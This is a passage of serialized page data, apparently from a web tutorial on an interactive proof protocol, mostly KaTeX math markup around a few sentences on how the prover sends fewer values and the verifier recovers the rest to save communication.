",{"type":23,"tag":135,"props":108147,"children":108149},{"className":108148},[1981,1982],[108150],{"type":23,"tag":139,"props":108151,"children":108153},{"className":108152},[1987],[108154],{"type":23,"tag":139,"props":108155,"children":108157},{"className":108156,"ariaHidden":1993},[1992],[108158,108251,108344],{"type":23,"tag":139,"props":108159,"children":108161},{"className":108160},[1998],[108162,108166,108223,108228,108233,108238,108242,108247],{"type":23,"tag":139,"props":108163,"children":108165},{"className":108164,"style":2110},[2003],[],{"type":23,"tag":139,"props":108167,"children":108169},{"className":108168},[2009],[108170,108175],{"type":23,"tag":139,"props":108171,"children":108173},{"className":108172,"style":91437},[2009,19596],[108174],{"type":28,"value":107202},{"type":23,"tag":139,"props":108176,"children":108178},{"className":108177},[2025],[108179],{"type":23,"tag":139,"props":108180,"children":108182},{"className":108181},[2030,19650],[108183,108212],{"type":23,"tag":139,"props":108184,"children":108186},{"className":108185},[2035],[108187,108207],{"type":23,"tag":139,"props":108188,"children":108190},{"className":108189,"style":91480},[2040],[108191],{"type":23,"tag":139,"props":108192,"children":108193},{"style":91484},[108194,108198],{"type":23,"tag":139,"props":108195,"children":108197},{"className":108196,"style":2050},[2049],[],{"type":23,"tag":139,"props":108199,"children":108201},{"className":108200},[2055,2056,2057,2058],[108202],{"type":23,"tag":139,"props":108203,"children":108205},{"className":108204},[2009,19596,2058],[108206],{"type":28,"value":1728},{"type":23,"tag":139,"props":108208,"children":108210},{"className":108209},[19753],[108211],{"type":28,"value":19756},{"type":23,"tag":139,"props":108213,"children":108215},{"className":108214},[2035],[108216],{"type":23,"tag":139,"props":108217,"children":108219},{"className":108218,"style":91034},[2040],[108220],{"type":23,"tag":139,"props":108221,"children":108222},{},[],{"type":23,"tag":139,"props":108224,"children":108226},{"className":108225},[19725],[108227],{"type":28,"value":262},{"type":23,"tag":139,"props":108229,"children":108231},{"className":108230},[2009],[108232],{"type":28,"value":2021},{"type":23,"tag":139,"props":108234,"children":108236},{"className":108235},[19747],[108237],{"type":28,"value":1104},{"type":23,"tag":139,"props":108239,"children":108241},{"className":108240,"style":2090},[2089],[],{"type":23,"tag":139,"props":108243,"children":108245},{"className":108244},[2095],[108246],{"type":28,"value":2382},{"type":23,"tag":139,"props":108248,"children":108250},{"className":108249,"style":2090},[2089],[],{"type":23,"tag":139,"props":108252,"children":108254},{"className":108253},[1998],[108255,108259,108316,108321,108326,108331,108335,108340],{"type":23,"tag":139,"props":108256,"children":108258},{"className":108257,"style":2110},[2003],[],{"type":23,"tag":139,"props":108260,"children":108262},{"className":108261},[2009],[108263,108268],{"type":23,"tag":139,"props":108264,"children":108266},{"className":108265,"style":91437},[2009,19596],[108267],{"type":28,"value":107202},{"type":23,"tag":139,"props":108269,"children":108271},{"className":108270},[2025],[108272],{"type":23,"tag":139,"props":108273,"children":108275},{"className":108274},[2030,19650],[108276,108305],{"type":23,"tag":139,"props":108277,"children":108279},{"className":108278},[2035],[108280,108300],{"type":23,"tag":139,"props":108281,"children":108283},{"className":108282,"style":91480},[2040],[108284],{"type":23,"tag":139,"props":108285,"children":108286},{"style":91484},[108287,108291],{"type":23,"tag":139,"props":108288,"children":108290},{"className":108289,"style":2050},[2049],[],{"type":23,"tag":139,"props":108292,"children":108294},{"className":108293},[2055,2056,2057,2058],[108295],{"type":23,"tag":139,"props":108296,"children":108298},{"className":108297},[2009,19596,2058],[108299],{"type":28,"value":1728},{"type":23,"tag":139,"props":108301,"children":108303},{"className":108302},[19753],[108304],{"type":28,"value":19756},{"type":23,"tag":139,"props":108306,"children":108308},{"className":108307},[2035],[108309],{"type":23,"tag":139,"props":108310,"children":108312},{"className":108311,"style":91034},[2040],[108313],{"type":23,"tag":139,"props":108314,"children":108315},{},[],{"type":23,"tag":139,"props":108317,"children":108319},{"className":108318},[19725],[108320],{"type":28,"value":262},{"type":23,"tag":139,"props":108322,"children":108324},{"className":108323},[2009],[108325],{"type":28,"value":647},{"type":23,"tag":139,"props":108327,"children":108329},{"className":108328},[19747],[108330],{"type":28,"value":1104},{"type":23,"tag":139,"props":108332,"children":108334},{"className":108333,"style":2187},[2089],[],{"type":23,"tag":139,"props":108336,"children":108338},{"className":108337},[2192],[108339],{"type":28,"value":1067},{"type":23,"tag":139,"props":108341,"children":108343},{"className":108342,"style":2187},[2089],[],{"type":23,"tag":139,"props":108345,"children":108347},{"className":108346},[1998],[108348,108353],{"type":23,"tag":139,"props":108349,"children":108352},{"className":108350,"style":108351},[2003],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":23,"tag":139,"props":108354,"children":108356},{"className":108355},[2009],[108357,108362],{"type":23,"tag":139,"props":108358,"children":108360},{"className":108359,"style":91185},[2009,19596],[108361],{"type":28,"value":91188},{"type":23,"tag":139,"props":108363,"children":108365},{"className":108364},[2025],[108366],{"type":23,"tag":139,"props":108367,"children":108369},{"className":108368},[2030,19650],[108370,108414],{"type":23,"tag":139,"props":108371,"children":108373},{"className":108372},[2035],[108374,108409],{"type":23,"tag":139,"props":108375,"children":108377},{"className":108376,"style":91480},[2040],[108378],{"type":23,"tag":139,"props":108379,"children":108381},{"style":108380},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[108382,108386],{"type":23,"tag":139,"props":108383,"children":108385},{"className":108384,"style":2050},[2049],[],{"type":23,"tag":139,"props":108387,"children":108389},{"className":108388},[2055,2056,2057,2058],[108390],{"type":23,"tag":139,"props":108391,"children":108393},{"className":108392},[2009,2058],[108394,108399,108404],{"type":23,"tag":139,"props":108395,"children":108397},{"className":108396},[2009,19596,2058],[108398],{"type":28,"value":1728},{"type":23,"tag":139,"props":108400,"children":108402},{"className":108401},[2095,2058],[108403],{"type":28,"value":2069},{"type":23,"tag":139,"props":108405,"children":108407},{"className":108406},[2009,2058],[108408],{"type":28,"value":647},{"type":23,"tag":139,"props":108410,"children":108412},{"className":108411},[19753],[108413],{"type":28,"value":19756},{"type":23,"tag":139,"props":108415,"children":108417},{"className":108416},[2035],[108418],{"type":23,"tag":139,"props":108419,"children":108422},{"className":108420,"style":108421},[2040],"height:0.2083em;",[108423],{"type":23,"tag":139,"props":108424,"children":108425},{},[],{"type":28,"value":108427}," (the previous claim), we have:",{"type":23,"tag":24,"props":108429,"children":108430},{},[108431],{"type":23,"tag":135,"props":108432,"children":108434},{"className":108433},[1981,1982],[108435],{"type":23,"tag":139,"props":108436,"children":108438},{"className":108437},[1987],[108439],{"type":23,"tag":139,"props":108440,"children":108442},{"className":108441,"ariaHidden":1993},[1992],[108443,108469,108500,108531,108632,108658,108750],{"type":23,"tag":139,"props":108444,"children":108446},{"className":108445},[1998],[108447,108451,108456,108460,108465],{"type":23,"tag":139,"props":108448,"children":108450},{"className":108449,"style":108106},[2003],[],{"type":23,"tag":139,"props":108452,"children":108454},{"className":108453},[2009,19596],[108455],{"type":28,"value":64},{"type":23,"tag":139,"props":108457,"children":108459},{"className":108458,"style":2090},[2089],[],{"type":23,"tag":139,"props":108461,"children":108463},{"className":108462},[2095],[108464],{"type":28,"value":2382},{"type":23,"tag":139,"props":108466,"children":108468},{"className":108467,"style":2090},[2089],[],{"type":23,"tag":139,"props":108470,"children":108472},{"className":108471},[1998],[108473,108477,108482,108487,108491,108496],{"type":23,"tag":139,"props":108474,"children":108476},{"className":108475,"style":2110},[2003],[],{"type":23,"tag":139,"props":108478,"children":108480},{"className":108479},[19725],[108481],{"type":28,"value":262},{"type":23,"tag":139,"props":108483,"children":108485},{"className":108484},[2009,19596],[108486],{"type":28,"value":64},{"type":23,"tag":139,"props":108488,"children":108490},{"className":108489,"style":2090},[2089],[],{"type":23,"tag":139,"props":108492,"children":108494},{"className":108493},[2095],[108495],{"type":28,"value":2382},{"type":23,"tag":139,"props":108497,"children":108499},{"className":108498,"style":2090},[2089],[],{"type":23,"tag":139,"props":108501,"children":108503},{"className":108502},[1998],[108504,108508,108513,108518,108522,108527],{"type":23,"tag":139,"props":108505,"children":108507},{"className":108506,"style":2110},[2003],[],{"type":23,"tag":139,"props":108509,"children":108511},{"className":108510},[2009,19596],[108512],{"type":28,"value":1199},{"type":23,"tag":139,"props":108514,"children":108516},{"className":108515},[19747],[108517],{"type":28,"value":1104},{"type":23,"tag":139,"props":108519,"children":108521},{"className":108520,"style":2187},[2089],[],{"type":23,"tag":139,"props":108523,"children":108525},{"className":108524},[2192],[108526],{"type":28,"value":1067},{"type":23,"tag":139,"props":108528,"children":108530},{"className":108529,"style":2187},[2089],[],{"type":23,"tag":139,"props":108532,"children":108534},{"className":108533},[1998],[108535,108539,108610,108614,108618,108624,108628],{"type":23,"tag":139,"props":108536,"children":108538},{"className":108537,"style":108351},[2003],[],{"type":23,"tag":139,"props":108540,"children":108542},{"className":108541},[2009],[108543,108548],{"type":23,"tag":139,"props":108544,"children":108546},{"className":108545,"style":91185},[2009,19596],[108547],{"type":28,"value":91188},{"type":23,"tag":139,"props":108549,"children":108551},{"className":108550},[2025],[108552],{"type":23,"tag":139,"props":108553,"children":108555},{"className":108554},[2030,19650],[108556,108599],{"type":23,"tag":139,"props":108557,"children":108559},{"className":108558},[2035],[108560,108594],{"type":23,"tag":139,"props":108561,"children":108563},{"className":108562,"style":91480},[2040],[108564],{"type":23,"tag":139,"props":108565,"children":108566},{"style":108380},[108567,108571],{"type":23,"tag":139,"props":108568,"children":108570},{"className":108569,"style":2050},[2049],[],{"type":23,"tag":139,"props":108572,"children":108574},{"className":108573},[2055,2056,2057,2058],[108575],{"type":23,"tag":139,"props":108576,"children":108578},{"className":108577},[2009,2058],[108579,108584,108589],{"type":23,"tag":139,"props":108580,"children":108582},{"className":108581},[2009,19596,2058],[108583],{"type":28,"value":1728},{"type":23,"tag":139,"props":108585,"children":108587},{"className":108586},[2095,2058],[108588],{"type":28,"value":2069},{"type":23,"tag":139,"props":108590,"children":108592},{"className":108591},[2009,2058],[108593],{"type":28,"value":647},{"type":23,"tag":139,"props":108595,"children":108597},{"className":108596},[19753],[108598],{"type":28,"value":19756},{"type":23,"tag":139,"props":108600,"children":108602},{"className":108601},[2035],[108603],{"type":23,"tag":139,"props":108604,"children":108606},{"className":108605,"style":108421},[2040],[108607],{"type":23,"tag":139,"props":108608,"children":108609},{},[],{"type":23,"tag":139,"props":108611,"children":108613},{"className":108612,"style":2187},[2089],[],{"type":23,"tag":139,"props":108615,"children":108617},{"className":108616,"style":2187},[2089],[],{"type":23,"tag":139,"props":108619,"children":108621},{"className":108620},[2192],[108622],{"type":28,"value":108623},"⟹",{"type":23,"tag":139,"props":108625,"children":108627},{"className":108626,"style":2187},[2089],[],{"type":23,"tag":139,"props":108629,"children":108631},{"className":108630,"style":2187},[2089],[],{"type":23,"tag":139,"props":108633,"children":108635},{"className":108634},[1998],[108636,108640,108645,108649,108654],{"type":23,"tag":139,"props":108637,"children":108639},{"className":108638,"style":90866},[2003],[],{"type":23,"tag":139,"props":108641,"children":108643},{"className":108642},[2009,19596],[108644],{"type":28,"value":1199},{"type":23,"tag":139,"props":108646,"children":108648},{"className":108647,"style":2187},[2089],[],{"type":23,"tag":139,"props":108650,"children":108652},{"className":108651},[2192],[108653],{"type":28,"value":1067},{"type":23,"tag":139,"props":108655,"children":108657},{"className":108656,"style":2187},[2089],[],{"type":23,"tag":139,"props":108659,"children":108661},{"className":108660},[1998],[108662,108666,108737,108741,108746],{"type":23,"tag":139,"props":108663,"children":108665},{"className":108664,"style":108351},[2003],[],{"type":23,"tag":139,"props":108667,"children":108669},{"className":108668},[2009],[108670,108675],{"type":23,"tag":139,"props":108671,"children":108673},{"className":108672,"style":91185},[2009,19596],[108674],{"type":28,"value":91188},{"type":23,"tag":139,"props":108676,"children":108678},{"className":108677},[2025],[108679],{"type":23,"tag":139,"props":108680,"children":108682},{"className":108681},[2030,19650],[108683,108726],{"type":23,"tag":139,"props":108684,"children":108686},{"className":108685},[2035],[108687,108721],{"type":23,"tag":139,"props":108688,"children":108690},{"className":108689,"style":91480},[2040],[108691],{"type":23,"tag":139,"props":108692,"children":108693},{"style":108380},[108694,108698],{"type":23,"tag":139,"props":108695,"children":108697},{"className":108696,"style":2050},[2049],[],{"type":23,"tag":139,"props":108699,"children":108701},{"className":108700},[2055,2056,2057,2058],[108702],{"type":23,"tag":139,"props":108703,"children":108705},{"className":108704},[2009,2058],[108706,108711,108716],{"type":23,"tag":139,"props":108707,"children":108709},{"className":108708},[2009,19596,2058],[108710],{"type":28,"value":1728},{"type":23,"tag":139,"props":108712,"children":108714},{"className":108713},[2095,2058],[108715],{"type":28,"value":2069},{"type":23,"tag":139,"props":108717,"children":108719},{"className":108718},[2009,2058],[108720],{"type":28,"value":647},{"type":23,"tag":139,"props":108722,"children":108724},{"className":108723},[19753],[108725],{"type":28,"value":19756},{"type":23,"tag":139,"props":108727,"children":108729},{"className":108728},[2035],[108730],{"type":23,"tag":139,"props":108731,"children":108733},{"className":108732,"style":108421},[2040],[108734],{"type":23,"tag":139,"props":108735,"children":108736},{},[],{"type":23,"tag":139,"props":108738,"children":108740},{"className":108739,"style":2090},[2089],[],{"type":23,"tag":139,"props":108742,"children":108744},{"className":108743},[2095],[108745],{"type":28,"value":2069},{"type":23,"tag":139,"props":108747,"children":108749},{"className":108748,"style":2090},[2089],[],{"type":23,"tag":139,"props":108751,"children":108753},{"className":108752},[1998],[108754,108758,108763],{"type":23,"tag":139,"props":108755,"children":108757},{"className":108756,"style":91982},[2003],[],{"type":23,"tag":139,"props":108759,"children":108761},{"className":108760},[2009],[108762],{"type":28,"value":1099},{"type":23,"tag":139,"props":108764,"children":108766},{"className":108765},[2009,19596],[108767],{"type":28,"value":64},{"type":23,"tag":24,"props":108769,"children":108770},{},[108771,108773,108892,108894,108919],{"type":28,"value":108772},"So the prover only sends ",{"type":23,"tag":135,"props":108774,"children":108776},{"className":108775},[1981,1982],[108777],{"type":23,"tag":139,"props":108778,"children":108780},{"className":108779},[1987],[108781],{"type":23,"tag":139,"props":108782,"children":108784},{"className":108783,"ariaHidden":1993},[1992],[108785,108812],{"type":23,"tag":139,"props":108786,"children":108788},{"className":108787},[1998],[108789,108794,108799,108803,108808],{"type":23,"tag":139,"props":108790,"children":108793},{"className":108791,"style":108792},[2003],"height:0.4306em;",[],{"type":23,"tag":139,"props":108795,"children":108797},{"className":108796},[2009,19596],[108798],{"type":28,"value":64},{"type":23,"tag":139,"props":108800,"children":108802},{"className":108801,"style":2187},[2089],[],{"type":23,"tag":139,"props":108804,"children":108806},{"className":108805},[2192],[108807],{"type":28,"value":1067},{"type":23,"tag":139,"props":108809,"children":108811},{"className":108810,"style":2187},[2089],[],{"type":23,"tag":139,"props":108813,"children":108815},{"className":108814},[1998],[108816,108820,108877,108882,108887],{"type":23,"tag":139,"props":108817,"children":108819},{"className":108818,"style":2110},[2003],[],{"type":23,"tag":139,"props":108821,"children":108823},{"className":108822},[2009],[108824,108829],{"type":23,"tag":139,"props":108825,"children":108827},{"className":108826,"style":91437},[2009,19596],[108828],{"type":28,"value":107202},{"type":23,"tag":139,"props":108830,"children":108832},{"className":108831},[2025],[108833],{"type":23,"tag":139,"props":108834,"children":108836},{"className":108835},[2030,19650],[108837,108866],{"type":23,"tag":139,"props":108838,"children":108840},{"className":108839},[2035],[108841,108861],{"type":23,"tag":139,"props":108842,"children":108844},{"className":108843,"style":91480},[2040],[108845],{"type":23,"tag":139,"props":108846,"children":108847},{"style":91484},[108848,108852],{"type":23,"tag":139,"props":108849,"children":108851},{"className":108850,"style":2050},[2049],[],{"type":23,"tag":139,"props":108853,"children":108855},{"className":108854},[2055,2056,2057,2058],[108856],{"type":23,"tag":139,"props":108857,"children":108859},{"className":108858},[2009,19596,2058],[108860],{"type":28,"value":1728},{"type":23,"tag":139,"props":108862,"children":108864},{"className":108863},[19753],[108865],{"type":28,"value":19756},{"type":23,"tag":139,"props":108867,"children":108869},{"className":108868},[2035],[108870],{"type":23,"tag":139,"props":108871,"children":108873},{"className":108872,"style":91034},[2040],[108874],{"type":23,"tag":139,"props":108875,"children":108876},{},[],{"type":23,"tag":139,"props":108878,"children":108880},{"className":108879},[19725],[108881],{"type":28,"value":262},{"type":23,"tag":139,"props":108883,"children":108885},{"className":108884},[2009],[108886],{"type":28,"value":2021},{"type":23,"tag":139,"props":108888,"children":108890},{"className":108889},[19747],[108891],{"type":28,"value":1104},{"type":28,"value":108893},", and the verifier recovers ",{"type":23,"tag":135,"props":108895,"children":108897},{"className":108896},[1981,1982],[108898],{"type":23,"tag":139,"props":108899,"children":108901},{"className":108900},[1987],[108902],{"type":23,"tag":139,"props":108903,"children":108905},{"className":108904,"ariaHidden":1993},[1992],[108906],{"type":23,"tag":139,"props":108907,"children":108909},{"className":108908},[1998],[108910,108914],{"type":23,"tag":139,"props":108911,"children":108913},{"className":108912,"style":90866},[2003],[],{"type":23,"tag":139,"props":108915,"children":108917},{"className":108916},[2009,19596],[108918],{"type":28,"value":1199},{"type":28,"value":108920},". This saves 50% on communication costs.",{"type":23,"tag":24,"props":108922,"children":108923},{},[108924],{"type":28,"value":108925},"The next claim in the chain is",{"type":23,"tag":24,"props":108927,"children":108928},{},[108929],{"type":23,"tag":135,"props":108930,"children":108932},{"className":108931},[1981,1982],[108933],{"type":23,"tag":139,"props":108934,"children":108936},{"className":108935},[1987],[108937],{"type":23,"tag":139,"props":108938,"children":108940},{"className":108939,"ariaHidden":1993},[1992],[108941,109020,109165,109191,109218,109296,109322,109419,109455,109533,109569,109657,109749],{"type":23,"tag":139,"props":108942,"children":108944},{"className":108943},[1998],[108945,108950,109007,109011,109016],{"type":23,"tag":139,"props":108946,"children":108949},{"className":108947,"style":108948},[2003],"height:0.8333em;vertical-align:-0.15em;",[],{"type":23,"tag":139,"props":108951,"children":108953},{"className":108952},[2009],[108954,108959],{"type":23,"tag":139,"props":108955,"children":108957},{"className":108956,"style":91185},[2009,19596],[108958],{"type":28,"value":91188},{"type":23,"tag":139,"props":108960,"children":108962},{"className":108961},[2025],[108963],{"type":23,"tag":139,"props":108964,"children":108966},{"className":108965},[2030,19650],[108967,108996],{"type":23,"tag":139,"props":108968,"children":108970},{"className":108969},[2035],[108971,108991],{"type":23,"tag":139,"props":108972,"children":108974},{"className":108973,"style":91480},[2040],[108975],{"type":23,"tag":139,"props":108976,"children":108977},{"style":108380},[108978,108982],{"type":23,"tag":139,"props":108979,"children":108981},{"className":108980,"style":2050},[2049],[],{"type":23,"tag":139,"props":108983,"children":108985},{"className":108984},[2055,2056,2057,2058],[108986],{"type":23,"tag":139,"props":108987,"children":108989},{"className":108988},[2009,19596,2058],[108990],{"type":28,"value":1728},{"type":23,"tag":139,"props":108992,"children":108994},{"className":108993},[19753],[108995],{"type":28,"value":19756},{"type":23,"tag":139,"props":108997,"children":108999},{"className":108998},[2035],[109000],{"type":23,"tag":139,"props":109001,"children":109003},{"className":109002,"style":91034},[2040],[109004],{"type":23,"tag":139,"props":109005,"children":109006},{},[],{"type":23,"tag":139,"props":109008,"children":109010},{"className":109009,"style":2187},[2089],[],{"type":23,"tag":139,"props":109012,"children":109014},{"className":109013},[2192],[109015],{"type":28,"value":1067},{"type":23,"tag":139,"props":109017,"children":109019},{"className":109018,"style":2187},[2089],[],{"type":23,"tag":139,"props":109021,"children":109023},{"className":109022},[1998],[109024,109028,109085,109090,109147,109152,109156,109161],{"type":23,"tag":139,"props":109025,"children":109027},{"className":109026,"style":2110},[2003],[],{"type":23,"tag":139,"props":109029,"children":109031},{"className":109030},[2009],[109032,109037],{"type":23,"tag":139,"props":109033,"children":109035},{"className":109034,"style":91437},[2009,19596],[109036],{"type":28,"value":107202},{"type":23,"tag":139,"props":109038,"children":109040},{"className":109039},[2025],[109041],{"type":23,"tag":139,"props":109042,"children":109044},{"className":109043},[2030,19650],[109045,109074],{"type":23,"tag":139,"props":109046,"children":109048},{"className":109047},[2035],[109049,109069],{"type":23,"tag":139,"props":109050,"children":109052},{"className":109051,"style":91480},[2040],[109053],{"type":23,"tag":139,"props":109054,"children":109055},{"style":91484},[109056,109060],{"type":23,"tag":139,"props":109057,"children":109059},{"className":109058,"style":2050},[2049],[],{"type":23,"tag":139,"props":109061,"children":109063},{"className":109062},[2055,2056,2057,2058],[109064],{"type":23,"tag":139,"props":109065,"children":109067},{"className":109066},[2009,19596,2058],[109068],{"type":28,"value":1728},{"type":23,"tag":139,"props":109070,"children":109072},{"className":109071},[19753],[109073],{"type":28,"value":19756},{"type":23,"tag":139,"props":109075,"children":109077},{"className":109076},[2035],[109078],{"type":23,"tag":139,"props":109079,"children":109081},{"className":109080,"style":91034},[2040],[109082],{"type":23,"tag":139,"props":109083,"children":109084},{},[],{"type":23,"tag":139,"props":109086,"children":109088},{"className":109087},[19725],[109089],{"type":28,"value":262},{"type":23,"tag":139,"props":109091,"children":109093},{"className":109092},[2009],[109094,109099],{"type":23,"tag":139,"props":109095,"children":109097},{"className":109096,"style":90951},[2009,19596],[109098],{"type":28,"value":91770},{"type":23,"tag":139,"props":109100,"children":109102},{"className":109101},[2025],[109103],{"type":23,"tag":139,"props":109104,"children":109106},{"className":109105},[2030,19650],[109107,109136],{"type":23,"tag":139,"props":109108,"children":109110},{"className":109109},[2035],[109111,109131],{"type":23,"tag":139,"props":109112,"children":109114},{"className":109113,"style":91480},[2040],[109115],{"type":23,"tag":139,"props":109116,"children":109117},{"style":107950},[109118,109122],{"type":23,"tag":139,"props":109119,"children":109121},{"className":109120,"style":2050},[2049],[],{"type":23,"tag":139,"props":109123,"children":109125},{"className":109124},[2055,2056,2057,2058],[109126],{"type":23,"tag":139,"props":109127,"children":109129},{"className":109128},[2009,19596,2058],[109130],{"type":28,"value":1728},{"type":23,"tag":139,"props":109132,"children":109134},{"className":109133},[19753],[109135],{"type":28,"value":19756},{"type":23,"tag":139,"props":109137,"children":109139},{"className":109138},[2035],[109140],{"type":23,"tag":139,"props":109141,"children":109143},{"className":109142,"style":91034},[2040],[109144],{"type":23,"tag":139,"props":109145,"children":109146},{},[],{"type":23,"tag":139,"props":109148,"children":109150},{"className":109149},[19747],[109151],{"type":28,"value":1104},{"type":23,"tag":139,"props":109153,"children":109155},{"className":109154,"style":2187},[2089],[],{"type":23,"tag":139,"props":109157,"children":109159},{"className":109158},[2192],[109160],{"type":28,"value":1067},{"type":23,"tag":139,"props":109162,"children":109164},{"className":109163,"style":2187},[2089],[],{"type":23,"tag":139,"props":109166,"children":109168},{"className":109167},[1998],[109169,109173,109178,109182,109187],{"type":23,"tag":139,"props":109170,"children":109172},{"className":109171,"style":108106},[2003],[],{"type":23,"tag":139,"props":109174,"children":109176},{"className":109175},[2009,19596],[109177],{"type":28,"value":64},{"type":23,"tag":139,"props":109179,"children":109181},{"className":109180,"style":2090},[2089],[],{"type":23,"tag":139,"props":109183,"children":109185},{"className":109184},[2095],[109186],{"type":28,"value":2382},{"type":23,"tag":139,"props":109188,"children":109190},{"className":109189,"style":2090},[2089],[],{"type":23,"tag":139,"props":109192,"children":109194},{"className":109193},[1998],[109195,109199,109204,109208,109214],{"type":23,"tag":139,"props":109196,"children":109198},{"className":109197,"style":90866},[2003],[],{"type":23,"tag":139,"props":109200,"children":109202},{"className":109201},[2009,19596],[109203],{"type":28,"value":1199},{"type":23,"tag":139,"props":109205,"children":109207},{"className":109206,"style":2090},[2089],[],{"type":23,"tag":139,"props":109209,"children":109211},{"className":109210},[2095],[109212],{"type":28,"value":109213},"⋅",{"type":23,"tag":139,"props":109215,"children":109217},{"className":109216,"style":2090},[2089],[],{"type":23,"tag":139,"props":109219,"children":109221},{"className":109220},[1998],[109222,109226,109283,109287,109292],{"type":23,"tag":139,"props":109223,"children":109225},{"className":109224,"style":107921},[2003],[],{"type":23,"tag":139,"props":109227,"children":109229},{"className":109228},[2009],[109230,109235],{"type":23,"tag":139,"props":109231,"children":109233},{"className":109232,"style":90951},[2009,19596],[109234],{"type":28,"value":91770},{"type":23,"tag":139,"props":109236,"children":109238},{"className":109237},[2025],[109239],{"type":23,"tag":139,"props":109240,"children":109242},{"className":109241},[2030,19650],[109243,109272],{"type":23,"tag":139,"props":109244,"children":109246},{"className":109245},[2035],[109247,109267],{"type":23,"tag":139,"props":109248,"children":109250},{"className":109249,"style":91480},[2040],[109251],{"type":23,"tag":139,"props":109252,"children":109253},{"style":107950},[109254,109258],{"type":23,"tag":139,"props":109255,"children":109257},{"className":109256,"style":2050},[2049],[],{"type":23,"tag":139,"props":109259,"children":109261},{"className":109260},[2055,2056,2057,2058],[109262],{"type":23,"tag":139,"props":109263,"children":109265},{"className":109264},[2009,19596,2058],[109266],{"type":28,"value":1728},{"type":23,"tag":139,"props":109268,"children":109270},{"className":109269},[19753],[109271],{"type":28,"value":19756},{"type":23,"tag":139,"props":109273,"children":109275},{"className":109274},[2035],[109276],{"type":23,"tag":139,"props":109277,"children":109279},{"className":109278,"style":91034},[2040],[109280],{"type":23,"tag":139,"props":109281,"children":109282},{},[],{"type":23,"tag":139,"props":109284,"children":109286},{"className":109285,"style":2187},[2089],[],{"type":23,"tag":139,"props":109288,"children":109290},{"className":109289},[2192],[109291],{"type":28,"value":1067},{"type":23,"tag":139,"props":109293,"children":109295},{"className":109294,"style":2187},[2089],[],{"type":23,"tag":139,"props":109297,"children":109299},{"className":109298},[1998],[109300,109304,109309,109313,109318],{"type":23,"tag":139,"props":109301,"children":109303},{"className":109302,"style":108106},[2003],[],{"type":23,"tag":139,"props":109305,"children":109307},{"className":109306},[2009,19596],[109308],{"type":28,"value":64},{"type":23,"tag":139,"props":109310,"children":109312},{"className":109311,"style":2090},[2089],[],{"type":23,"tag":139,"props":109314,"children":109316},{"className":109315},[2095],[109317],{"type":28,"value":2382},{"type":23,"tag":139,"props":109319,"children":109321},{"className":109320,"style":2090},[2089],[],{"type":23,"tag":139,"props":109323,"children":109325},{"className":109324},[1998],[109326,109330,109335,109406,109410,109415],{"type":23,"tag":139,"props":109327,"children":109329},{"className":109328,"style":2110},[2003],[],{"type":23,"tag":139,"props":109331,"children":109333},{"className":109332},[19725],[109334],{"type":28,"value":262},{"type":23,"tag":139,"props":109336,"children":109338},{"className":109337},[2009],[109339,109344],{"type":23,"tag":139,"props":109340,"children":109342},{"className":109341,"style":91185},[2009,19596],[109343],{"type":28,"value":91188},{"type":23,"tag":139,"props":109345,"children":109347},{"className":109346},[2025],[109348],{"type":23,"tag":139,"props":109349,"children":109351},{"className":109350},[2030,19650],[109352,109395],{"type":23,"tag":139,"props":109353,"children":109355},{"className":109354},[2035],[109356,109390],{"type":23,"tag":139,"props":109357,"children":109359},{"className":109358,"style":91480},[2040],[109360],{"type":23,"tag":139,"props":109361,"children":109362},{"style":108380},[109363,109367],{"type":23,"tag":139,"props":109364,"children":109366},{"className":109365,"style":2050},[2049],[],{"type":23,"tag":139,"props":109368,"children":109370},{"className":109369},[2055,2056,2057,2058],[109371],{"type":23,"tag":139,"props":109372,"children":109374},{"className":109373},[2009,2058],[109375,109380,109385],{"type":23,"tag":139,"props":109376,"children":109378},{"className":109377},[2009,19596,2058],[109379],{"type":28,"value":1728},{"type":23,"tag":139,"props":109381,"children":109383},{"className":109382},[2095,2058],[109384],{"type":28,"value":2069},{"type":23,"tag":139,"props":109386,"children":109388},{"className":109387},[2009,2058],[109389],{"type":28,"value":647},{"type":23,"tag":139,"props":109391,"children":109393},{"className":109392},[19753],[109394],{"type":28,"value":19756},{"type":23,"tag":139,"props":109396,"children":109398},{"className":109397},[2035],[109399],{"type":23,"tag":139,"props":109400,"children":109402},{"className":109401,"style":108421},[2040],[109403],{"type":23,"tag":139,"props":109404,"children":109405},{},[],{"type":23,"tag":139,"props":109407,"children":109409},{"className":109408,"style":2090},[2089],[],{"type":23,"tag":139,"props":109411,"children":109413},{"className":109412},[2095],[109414],{"type":28,"value":2069},{"type":23,"tag":139,"props":109416,"children":109418},{"className":109417,"style":2090},[2089],[],{"type":23,"tag":139,"props":109420,"children":109422},{"className":109421},[1998],[109423,109427,109432,109437,109442,109446,109451],{"type":23,"tag":139,"props":109424,"children":109426},{"className":109425,"style":2110},[2003],[],{"type":23,"tag":139,"props":109428,"children":109430},{"className":109429},[2009],[109431],{"type":28,"value":1099},{"type":23,"tag":139,"props":109433,"children":109435},{"className":109434},[2009,19596],[109436],{"type":28,"value":64},{"type":23,"tag":139,"props":109438,"children":109440},{"className":109439},[19747],[109441],{"type":28,"value":1104},{"type":23,"tag":139,"props":109443,"children":109445},{"className":109444,"style":2090},[2089],[],{"type":23,"tag":139,"props":109447,"children":109449},{"className":109448},[2095],[109450],{"type":28,"value":109213},{"type":23,"tag":139,"props":109452,"children":109454},{"className":109453,"style":2090},[2089],[],{"type":23,"tag":139,"props":109456,"children":109458},{"className":109457},[1998],[109459,109463,109520,109524,109529],{"type":23,"tag":139,"props":109460,"children":109462},{"className":109461,"style":107921},[2003],[],{"type":23,"tag":139,"props":109464,"children":109466},{"className":109465},[2009],[109467,109472],{"type":23,"tag":139,"props":109468,"children":109470},{"className":109469,"style":90951},[2009,19596],[109471],{"type":28,"value":91770},{"type":23,"tag":139,"props":109473,"children":109475},{"className":109474},[2025],[109476],{"type":23,"tag":139,"props":109477,"children":109479},{"className":109478},[2030,19650],[109480,109509],{"type":23,"tag":139,"props":109481,"children":109483},{"className":109482},[2035],[109484,109504],{"type":23,"tag":139,"props":109485,"children":109487},{"className":109486,"style":91480},[2040],[109488],{"type":23,"tag":139,"props":109489,"children":109490},{"style":107950},[109491,109495],{"type":23,"tag":139,"props":109492,"children":109494},{"className":109493,"style":2050},[2049],[],{"type":23,"tag":139,"props":109496,"children":109498},{"className":109497},[2055,2056,2057,2058],[109499],{"type":23,"tag":139,"props":109500,"children":109502},{"className":109501},[2009,19596,2058],[109503],{"type":28,"value":1728},{"type":23,"tag":139,"props":109505,"children":109507},{"className":109506},[19753],[109508],{"type":28,"value":197